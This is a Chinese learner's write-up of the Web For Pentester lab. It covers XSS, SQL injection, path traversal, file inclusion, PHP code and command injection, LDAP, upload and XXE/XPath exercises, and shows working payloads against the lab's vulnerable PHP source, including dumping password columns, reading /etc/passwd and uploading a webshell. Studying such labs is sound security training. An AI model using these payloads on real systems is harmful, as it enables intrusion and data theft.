微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

[NOTE] Web For Pentester靶场练习笔记

[NOTE] Web For Pentester靶场练习笔记

文章目录

前言

搞完XVWA之后

环境
hacker: Kali Linux | 192.168.10.1/10.10.10.1
server: Debian 6 | 192.168.10.xxx (dynamic)

想着搞完这个Web靶场就暂时歇一歇
不搞这种专门的列一大堆的Web漏洞的靶场了
后面搞CMS,以及一些sqli和upload的专项训练,还有练练渗透

所以这个靶场更多地面向源码一些
先黑盒,做不做得出最后都看看代码分析一下

也会看看官方给的教程文档,看看有没有别的什么值得学习的地方

此外也借鉴整理了国光大神的博客

Web基础

就是对官方教程前面的部分进行简单看看,记些不太熟或不懂的

Web安全的根基:don’t trust the client

Web服务端可以进一步划分不同的层次,并面临不同的安全问题:

  • Web服务器,如Apache、lighttpd、Nginx、IIS等
  • 应用服务器,如Tomcat、Jboss、Oracle Application server等
  • 编程语言,如PHP、Java、Ruby、Python、ASP、C#等
    这些编程语言也可以被用作框架的一部分,如Ruby-on-Rails、.Net MVC、Django等

一个Web应用可能会同时使用多个或多种后端存储
例如使用==LDAP==存储用户及其凭证,而使用Oracle存储信息

GETHEAD的区别仅体现在服务器的响应上:
GET的返回可以包含返回体
HEAD的返回体仅有headers,而没有body

还有别的方法PUTDELETEOPTION
以前倒是了解过RESTful架构,简单写了下笔记

有些请求参数看起来像是这样:
/index.PHP?user[name]=louis&user[group]=1
一些框架会把它映射到user对象中,用来查找指定属性符合的对象
有时候这种使用方法若防御不当,则会导致名为“mass-assignment”的风险
(简单了解下,这个好像是涉及到Ruby-on-Rails框架,后面有机会再了解下

  • X-Forwarded-For头的作用:获取源IP地址
  • Host头,在一些多站点服务器上,服务器用于“virtual-hosting”(同IP多域名)
    这里很多时候是一个安全点,如输入IP地址啥的

418响应码:I’m a teapot

double encoding:双重编码有时可能有点用,URL啥的

关于返回包里的Set-Cookie字段,包含了一些信息:

  • 有效期:告诉浏览器什么时候删除这个cookie
  • Domain:告诉浏览器把这个cookie发往哪一个子域名或主机名
  • Path:告知浏览器把这个cookie发往哪一个路径
  • 安全标志:如httpOnlysecure

cookie与session:一个存储在客户端,一个存储在服务端

PHP的session管理

PHP在Debian里面是无加密存储sessionid的,如/var/lib/PHP5
假如一个sessionid是o8d7lr4p16d9gec7ofkdbnhm93
那么对应的文件就是sess_o8d7lr4p16d9gec7ofkdbnhm93,里面有关于这个session的完整信息

HTTP认证

HTTP协议中自带以下的认证方法

  • Basic:通过Authorization头指定,用户名和密码经BASE64编码后发送给服务器

  • Digest:服务端发送挑战,客户端将挑战连同密码作哈希后发往服务器

  • NTLM:多在Microsoft里面使用,和Digest差不多

Web应用指纹识别

  • server的名称和版本

  • 后端有无使用应用服务器

  • 后端数据库

  • 反向代理的使用?

  • 负载平衡

  • 编程语言

有时候以.jsp.do为后缀的页面文件很可能是Java语言写的
(虽然也有可能是混淆)

有时候页面旁边的小图标也能暴露服务器banner信息
只要网站管理员没改的话

robots.txt文件有时候可以暴露框架和应用

有时候一些CMS或应用的文档,可能暴露管理员页面

XSS

关于XSS漏洞具体的利用场景,可以看看我之前在Pikachu靶场的练习笔记
下面的练习,就简单弹个窗什么的…

Example 1

最最最最最最最最最最基本的XSS,乱X

源码就是直接echo参数

Example 2

过滤了<script>,大小写混拼可绕过

源码:preg_replace正则匹配替换<script></script>
双拼、大小写绕过都可以

Example 3

img标签可绕过:
?name=<img src="e" one rror=alert("XSS") />

源码:preg_replace正则匹配<script></script>,不区分大小写
双拼可绕过

Example 4

img标签可绕过

源码:preg_match('/script/i', $_GET["name"])
正则匹配“script”,不区分大小写,匹配到就报“error”

Example 5

很奇怪,过滤alert
写cookie在页面上的payload:
<script>document.write(document.cookie)</script>

源码还真是正则匹配不区分大小写的alert,匹配到就报错
why?


行吧,原来题目要求我们就要弹窗

那就结合eval函数String.fromCharCode函数
后者将alert("XSS")的ascii码转成字符,再拼接成字符串
前者将字符串当作代码执行

payload1:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>

payload2:
<img src="e" one rror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41));" />

另外两个弹窗函数,都可以回显cookie:

  • confirm:弹出确认框
  • prompt:弹出输入框

Example 6

这次输什么都不会回显了

源码:

Hello 
<script>
	var $a= "<?PHP  echo $_GET["name"]; ?>";
</script>

也就是说,输入被拼接到了字符串中,被当作变量保存
然后没有任何回显

这种是属于盲注的情况?

输入的参数要主动闭合上双引号,然后形成完整的JS语句
payload:";alert("XSS")//
变成:var $a= "<?PHP echo "; alert("XSS")//; ?>"

这个比较难想到?
思路是,不管什么东西,都试试单/双引号主动闭合看看

Example 7

源码:

Hello 
<script>
	var $a= '<?PHP  echo htmlentities($_GET["name"]); ?>';
</script>

使用htmlentities函数将HTML特殊字符转义成HTML实体
但是这个函数认不转义',除非加上ENT_QUOTES参数

所以主动闭合,payload:';alert('XSS');//

Example 8

换成了一个输入框,POST提交参数,然后回显
但是这次好像怎么注都不太行

源码:

echo "HELLO ".htmlentities($_POST["name"]);

这次的输入框不存在XSS问题了,因为输入都得到了正确的转义

但是问题出在form表单的构造:

<form action="<?PHP echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

上面使用了$_SERVER['PHP_SELF']这个变量,指代的是当前执行脚本的文件
不当使用该变量也可能导致XSS问题

在这一题中,根据URL该值应该是/xss/example8.PHP
但是攻击者可以通过修改URL从而达到XSS的目的

根据上述,可以给出以下payload:
http://192.168.10.136/xss/example8.PHP/"></from><script>alert(document.cookie)</script>
这样一来表单就会变成:

<form action=""></from><script>alert(document.cookie)</script>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

嵌入了script标签,从而执行恶意代码

但是从页面元素来看,表单结构显示的是<form action="/xss/example8.PHP" method="POST">
这我怎么知道这里是写死的还是代码生成的呢?只能白盒?

总之,学习到$_SERVER['PHP_SELF']这个变量是指示当前执行脚本的文件
一定程度上反映自URL,而URL是用户可控的

Example 9

这次是基于DOM型的XSS,源码:

<script>
  document.write(location.hash.substring(1));
</script>

意思是将URL锚点#后面的字符串写在页面
理论上这里写XSS的payload就好

但是有一个问题,目前我的浏览器会自动URL编码
所以最后写在页面上的是编码后的payload:

在这里插入图片描述

形成不了弹窗的效果

bp、curl这俩工具捕获不到后面动态生成页面的过程
那咋办
换成HTML编码那就更不行了

一个思路就是看看能不能关掉浏览器的自动URL编码功能

sql injections

Example 1

GET一个name参数,传入用户名,然后返回信息

传入不存在的用户名也会显示属性
但是传入'则会什么都没有,类似于页面出现错误
说明可能是单引号字符型注入

验证注入的payload:?name=' or 1=1 %23

判断回显字段为5:?name=root' order by 5%23

观察回显位置:' union select 1,2,3,4,5 %23

爆库:?name=' union select database(),2,3,4,5 %23

爆表:?name=' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() %23

爆列:?name=' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' %23

爆数据:?name=' union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users %23


源码:

$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";	

最简单的sqli

Example 2

情景和上题一样

测试全注:' or 1=1 %23
但是回显“ERROR NO SPACE”
说明检测到了空格,从而报错

那就换成注释符/**/作为分隔符
判断回显字段:?name='/**/union/**/select/**/1,2,3,4,5/**/%23

中间过程省略,最后爆数据:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源码:

if (preg_match('/ /', $_GET["name"])) {
	die("ERROR NO SPACE");	
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

正则匹配到有空格就报错,换成注释符/**/可绕过

Example 3

和上题没什么区别?也是过滤空格?

最后爆数据的payload:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源码:

if (preg_match('/\s+/', $_GET["name"])) {
	die("ERROR NO SPACE");	
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

原来是过滤掉所有空白字符,但是没有考虑注释符
所以上一题的绕过方法还能用

Example 4

参数从name变成了id,说明可能是数字型注入
一试,果然:?id=999 or 1=1 %23

剩下的就是最简单的数字型注入,主要是?id=999 union select ...


源码:

$sql="SELECT * FROM users where id=";
$sql.=MysqL_real_escape_string($_GET["id"])." ";

乱注

Example 5

和上题没什么区别?


源码:

if (!preg_match('/^[0-9]+/', $_GET["id"])) {
	die("ERROR INTEGER required");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

好像是匹配不到整数就报错,但是为什么这个payload能够通过?
?id=999 union select 1,2,3,4,5 %23

测了下,好像这个函数preg_match捕获到第一个符合条件的就返回,就不管后面的内容了,所以上面匹配到999之后,就通过检查了,但是会把所有payload都传递给$id

官方文档也是这样说的:

**preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索

Example 6

这次输入?id=999 union select 1,2,3,4,5 %23
也会报“ERROR INTEGER required


源码:

if (!preg_match('/[0-9]+$/', $_GET["id"])) {
	die("ERROR INTEGER required");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

原来是要参数id最后匹配数字,前面不管
那么后面的注释符#都不同了哈哈

全注的payload:?id=55 or 1=1 or 99

判断回显字段数:?id=1 order by 5

判断回显字段:?id=999 union select 1,2,3,4,5

爆库:?id=999 union select database(),2,3,4,5

爆表和爆列最后面的where语句判断,需要最后面加个 and 1来绕过检查

爆表:?id=999 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() and 1

爆列:?id=999 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' and 1

爆数据最后面加个where 1就行

爆数据:?id=999 union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users where 1

Example 7

这次看起来限制的比较死,哪里有非数字字符好像都不行


源码:

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
	die("ERROR INTEGER required");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

id参数从头匹配到尾~~(还是全行匹配)~~,若不是整数,则报错
那咋办,查攻略

正则匹配的修饰符/m,意思是多行模式
即会逐行匹配,而不是匹配整个字符串的开头和结尾

加上preg_match只匹配一次的特性
就可以这样构造payload:123\nPAYLOAD

但是不管我怎样搞,都会显示“ERROR INTEGER required
URL编码后也不行

则么会是?

Example 8

这一次比较奇怪,参数变成了order
一开始是?order=name,怀疑是将查询结果按“name”属性排列
改成“id”或“age”,也按对应属性顺序排列了

猜测后端代码如:select * from table order by '$_GET['name']'

然后就不会了


源码:

$sql = "SELECT * FROM users ORDER BY `";
$sql .= MysqL_real_escape_string($_GET["order"])."`";

需要说明一点的是
MysqL里面的order by后面跟的排列字段只有以下两种形式:

  • 直接跟列名:order by name
  • 反点间的列名:order by `name`

所以之前猜测的使用单引号是不对的

此外源码里面还使用了MysqL_real_escape_string函数,单双引号、回车制表、反斜杠以及\x00等都会被转义
就是没有转义“`”

这里还要结合一下order by可以多字段排列的特点
以及使用case-when-then-else-end句式

示例payload:?order=id`, (case when (1=2) then `name` else `age` end) %23
首先是主动闭合,先将查询结果按id字段排列
后面的句式是关键,when里面添加判断语句
为真则进一步按name字段排列,否则按age字段排列

when里面可以替换成别的判断
返回结果会根据真假是否成立从而形成不同的显示结果
从而形成盲注效果

遗憾的是,这里的数据库每个字段都是不一样的
所以找不出不同判断结果会有的不一样的地方

Example 9

源码:

$sql = "SELECT * FROM users ORDER BY ";
$sql .= MysqL_real_escape_string($_GET["order"]);

和上题类似,只不过是使用了order by的另一种字段使用方法:直接拼接

由于不用使用“`”去主动闭合,可以做到只用一个字段排列
返回结果能够根据when的判断结果而不一样了
真正做到了盲注


下面的盲注过程只是简单写写,不写完整过程(手工盲注也太累了吧)

判断出数据库名长度为9:
?order=(case when (length(database())=9) then `id` else `age` end)

判断出第一个表名长度为5:
?order=(case when (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5) then `id` else `age` end)

判断出第一个表名的第一个字符的ascii码为117:
?order=(case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) then `id` else `age` end)
(不能用字符直接判断,因为使用了MysqL_real_escape_string函数

后面算了,sqlmap跑跑看
sqlmap能注是能注,但它用的是时间盲注,效率有点慢
加上我的靶场环境配置,攻击者和靶机之间的通信有时会卡住,就很慢
不过sqlmap的容错做的是真的不错,会自动根据实际情况调整时延上限
牛逼牛逼

是不是要把靶机的处理器和内存都配置得大一点?

Directory traversal

奇怪的是,为什么主页上没有超链接,而是这么一个icon?

在这里插入图片描述

直接抄家,翻源码找到对应练习页面
http://192.168.10.XXX/dirtrav/exampleX.PHP


此外官网的指引中给出了一个路径穿越漏洞的一般测试步骤:

  • images/./photo.jpg:能看到同一文件
  • images/../photo.jpg:报错
  • images/../images/photo.jpg:能看到同一文件
  • images/../IMAGES/photo.jpg:报错(却决于目标系统是否对路径大小写敏感)

此外../数量过多的话一般来说也是没有问题的

Example 1

一个GET参数file承接一个文件
然后就可以../../../../../../../etc/passwd


此外官网指引提到
要是包含一个返回头Content-disposition: attachment
浏览器是不会直接显示文件
而可以通过打开文件来查看内容

例如可以使用wget命令来路径穿越下载文件
wget -O - 'http://vulnerable/dirtrav/example1.PHP?file=../../../../../../../etc/passwd'

Example 2

一个练习的payload不能用了

相关源码:

$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
	die();

strstr函数:strstr(string $haystack, mixed $needle)
返回haystack字符串从needle第一次出现的位置开始到haystack结尾的字符串
例如strstr('name@xxx.com', '@')返回@xxx.com

so the payload:?file=/var/www/files/../../../../../../etc/passwd

大概有点像判断参数里一定要包含合法值的意思

Example 3

上面的两个payload都不好使

相关源码:

$path = $UploadDir . $file.".png";
$path = preg_replace('/\x00.*/',"",$path);

原来是给传入参数添加上了后缀
然而这种防范很容易绕过——利用00截断
一般在Perl和老版本的PHP语言中很管用
PHP 5.3.4及以上版本修复此问题)

所以payload:?file=../../../../../../etc/passwd%00


关于00截断:具体是指老版本PHP等语言,在读取文件名是,如遇0x00,则会认为读取已结束

具体是null字符,在URL编码中为%00

File Include

这里是包含PHP文件,一般情况下涉及到下列函数

  • require
  • require_once
  • include
  • include_once

一般结合文件上传漏洞打组合拳,官方给了一个用于远程包含的PHP文件
https://assets.pentesterlab.com/test_include.txt
就是简单的PHP探针

Example 1

page参数接一个PHP文件,那试试直接上上面的payload
然就发现寄了,因为靶机是内网环境,整不了外网脚本

那就在攻击机里整探针试试:http://192.168.10.1/hack.PHP
但是信息是攻击机的

另外如果构造错误输入可以爆出一些有用信息:
Warning: include(http://192.168.10.1/hack.PHP'): Failed to open stream: HTTP request Failed! HTTP/1.1 404 Not Found in /var/www/fileincl/example1.PHP on line 7 Warning: include(): Failed opening 'http://192.168.10.1/hack.PHP'' for inclusion (include_path='.:/usr/share/PHP:/usr/share/pear') in /var/www/fileincl/example1.PHP on line 7

Example 2

page参数后面这次没有.PHP后缀了,后端会自动加上

看了看源码,绕过方法是低版本PHP的00截断

Code injection

谈到PHP里有个系统代码执行函数system
然后PHP的行注释符是//

PHP代码拼接是.

Example 1

name参数,输入"得报错信息:
Parse error: Syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.PHP(6) : eval()'d code on line 1
得知使用的是eval函数

看眼源码:

$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);

如果输入try".",那么$str就会变成这样:
$str="echo \"Hello try" . "!!!\";";

抽出字符串本身来看,就是这个样子:
echo "Hello {我们注入的代码} !!!";

所以一个探针peyload就是:?name=";PHPinfo();$a="
命令变成:echo "Hello ";PHPinfo();$a=" !!!";

也可以放到PHP代码层进行绕过:
?name=".PHPinfo();//
拼接变成:$str="echo \"Hello ".PHPinfo();//!!!\";";
(这里不是很懂拼接的双引号问题)

或者使用${${code}}嗯插代码
?name=${${PHPinfo()}}

如果想执行系统命令而不是PHP函数,则使用system函数
?name=".system('uname -a'); $dummy="
变成:$str="echo \"Hello ".system('uname -a'); $dummy="!!!\";";
(不是很懂拼接的双引号问题)


感觉还是得学习一波PHP语言

Example 2

变成了一个表格,order参数传入排序的列名

单引号所引发的报错:
Parse error: Syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.PHP(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.PHP on line 22

不知道是啥代码


开发者使用排序时可能会使用以下方法

usort函数经常使用create_function函数去动态生成排序函数

本题的关键代码

if (isset($order)) {
	usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

usort(array, myfunction)
使用用户自定义比较函数对数组中的元素进行排序
array:要排序的数组
myfunction:用于比较函数的字符串

create_function(string $args, string $code)
创建匿名函数
args:lambda函数的变量部分
code:lambda函数的实现

例如create_function('$fname','echo $fname."welcome"')
等价于:

function fT($fname) {
  echo $fname."welcome";
}

不能说是等价,实际上就是按这个模式进行创建的
所以注入时需要考虑主动闭合花括号,使用}


所以看回代码
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
关键就是参数order,看看怎么主动闭合形成代码注入

一步步试:
?order=id;}//
?order=id);}//
?order=id));}//

上面只有中间那个不会报语法错误(error),只是警告(warning)
所以只需在}后面跟上我们要注入的代码即可

所以当注入这个:id);}PHPinfo();//
就会变成:

create_function('$a, $b', 'return strcmp($a->id);}PHPinfo();//,$b->id);}PHPinfo();//')

function fT($a, $b) {return strcmp($a->id);}PHPinfo();//,$b->id);}PHPinfo();//;}

usort函数使用上面的匿名函数字符串,所以最后会执行一遍PHPinfo

有点难,得学PHP

Example 3

一大堆参数WTF:?new=hacker&pattern=/lamer/&base=Hello lamer
然后页面只是回显个“Hello hacker”

源码:

echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

大概是把base里面正则匹配的pattern替换成new的意思


说到preg_replace函数,有一个很危险的选项PCRE_REPLACE_EVAL/e
会导致preg_replace函数会把替换后的新字符串当作PHP代码去执行

PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0
后面用preg_replace_callback代替

所以只需要在传入的模式中加上/e模式
就可以把替换后的结果当作PHP代码执行

所以payload:?new=PHPinfo()&pattern=/lamer/e&base=Hello lamer

Example 4

又变回来了,name参数,回显到页面

引号引起的报错:Parse error: Syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.PHP(4) : assert code on line 1 Catchable Fatal error: assert(): Failure evaluating code: ''' in /var/www/codeexec/example4.PHP on line 4

估计和assert函数有关


源码:

assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

trim:移除字符串两边的空白字符或预定义字符
assertPHP5可以执行代码

所以主要就是构造闭合,执行想要的代码
和Example 1差不多

有三种闭合方式:
注释掉后面的引号:?name='.PHPinfo();//
也闭合后面引号:'.PHPinfo().'
直接${${code}}插入代码'.${${PHPinfo()}}.'

Commands injection

上面是代码注入,这里是命令注入,有点区别

此外Linux里面有个机制,就是反引号里面的字符串会被当成命令先执行
例如“echo `whoami`”会输出当前用户名

Example 1

ip参数后面跟个IP地址,然后给出ping的结果

好像很明显?直接分号接命令就ok:?ip=127.0.0.1;whoami

源码:
system("ping -c 2 ".$_GET['ip']);

Example 2

?ip=127.0.0.1;whoami直接报“Invalid IP address”

源码:

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
	die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);

正则匹配限定参数必须有ip地址形式的字符串
但是是多行模式匹配,加上preg_match函数只会匹配一次的特点
所以可以使用换行符(URL编码)来分隔正常的输入和恶意命令:
?ip=127.0.0.1%0Awhoami

Example 3

发现输入?ip=127.0.0.1;whoami跳转回ping 127.0.0.1的页面

抓包一看发现只是重定向而已,原来的包还是会返回恶意代码执行的结果

LDAP attacks

LDAP(Lightweight Directory Access Protocol),轻量目录访问协议

可以把他和数据库类比,LDAP是一个查询、浏览、搜索而优化的专业分布式数据库,它成树状结构组织数据,就好像 Linux/Unix系统中的文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

所以 LDAP天生是用来查询的。

Example 1

用于认证的两个参数usernamepassword
一开始有初值:?username=hacker&password=hacker
但是回显“NOT AUTHENTICATED”

但是把所有参数都删除,就会显示“AUTHENTICATED”,认证成功了


一些LDAP服务器允许NULL绑定:如果NULL值被传输,则LDAP服务器会尝试绑定连接,而PHP代码会认为这种认证是合法的

源码:

$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3); 
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
	if (isset($_GET["username"])) { 
		$user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
	}
	$lb = @ldap_bind($ld, $user,$_GET["password"]);
	
    if ($lb) {
    	echo "AUTHENTICATED";
    }
    else {
    	echo "NOT AUTHENTICATED";
    }
}

抽出漏洞原因,估计是下面这个:

$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {
	echo "AUTHENTICATED";
}

由于ldap_bind继续尝试绑定连接,所以$lb不为NULL,所以通过下方认证判定
这是一种编码失误,其他认证过程也要注意类似的问题

Example 2

认参数:?name=hacker&password=hacker
回显“AUTHENTICATED as hacker”

删除所有参数,回显:
Notice: Undefined index: password in /var/www/ldap/example2.PHP on line 9 Notice: Undefined index: name in /var/www/ldap/example2.PHP on line 10 UNAUTHENTICATED


这部分类似于MysqL注入,需要先学习LDAP的基本知识

主要还是要理解一些LDAP语法,以及运用到了PHP的00截断
达到了类似sqli万能密码的效果

File Upload

Example 1

好像是直接传的意思

准备一句话,蚁剑连


源码:

<?PHP
if(isset($_FILES['image'])) { 
	$dir = '/var/www/upload/images/';
	$file = basename($_FILES['image']['name']);
	if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) {
		echo "Upload done";
		echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
	} else { 
		echo 'Upload Failed';
	}
}
?>

<form method="POST" action="example1.PHP" enctype="multipart/form-data">	
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form> 

没有任何防护措施

Example 2

直接上传一句话显示“NO PHP

试了试00截断,发现不太行

源码:

$file = basename($_FILES['image']['name']);
if (preg_match('/\.PHP$/',$file)) {
	DIE("NO PHP");
}

可能是因为是后端PHP进行后缀检查而不是前端,所以00截断在检查之前就已经生效,所以检测的文件名确实是以.PHP结尾的,所以通不过检查

大小写混拼后缀.PHP可绕过

另外蚁剑那里有个连接类型为“PHP4”也可以考虑一下


官网提到的几种绕过方法

  • 使用.PHP3.PHP4或者是.PHP5后缀,一些服务器说不定还支持
  • .PHP后面使用一个Apache识别不了的后缀(例如.fuckyou),Apache识别不了可能会尝试识别下一个后缀(但问题是蚁剑也识别不了啊,可能和使用的工具有关)

XML attacks

Example 1

原始参数:?xml=<test>hacker</test>
盲猜是XXE

试试payload:?xml=<!DOCTYPE any[<!ENTITY js SYstem "file:///etc/passwd">]><test>&js;</test>

结果回显:
“Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.PHP on line 4 Warning: simplexml_load_string(): ]> in /var/www/xml/example1.PHP on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.PHP on line 4 ”

哦哦,原来是GET传递参数,所以要URL编码(涉及到了&等字符)
编码一下就好


源码:

$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);

涉及到一个simplexml_load_string函数可以看看

Example 2

参数变成了?name=hacker
可能是XPath注入

果然是
先复习一下XPath的知识


输入一个',报错误

输入",没有报错,没有回显,可能是单引号闭合变量

前后主动闭合,看看能不能爆出所有值:?name=']|//*|ss['
回显:“hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd ”

虽然是所有都爆出来了,但是没有分隔符,啥是啥也不知道

也可以00截断,?name=' or 1=1]%00,也是永真条件
但是只能查询当前层次的所有节点

另外了解到另外一种全注的payload:
?name=' or 1=1]/parent::*/child::node()%00
其中parent::*用于选择当前节点的所有父节点
child::node()用于选择所有子节点


查询代码$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";

剩下倒是可以盲注,但是有时候也可以直接猜
因为全注的字段有些看起来像是密码
所以可以试试猜原XML里有password节点,并把他们注出来:?name=']|//password%00
回显:“pentesterlabs3cr3tP4ssw0rd”
类似的还有user、name等常见字段也可以试试
虽然都没有分隔

简单盲注:

判断第一个节点的名字的第一个字符是‘d’:
?name=hacker' and substring(name(/*[position()=1]),1,1)='d' and '1'='1

判断第一个节点名字是“data”:
?name=hacker' and name(/*[position()=1])='data' and '1'='1

下略BLABLABLA

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐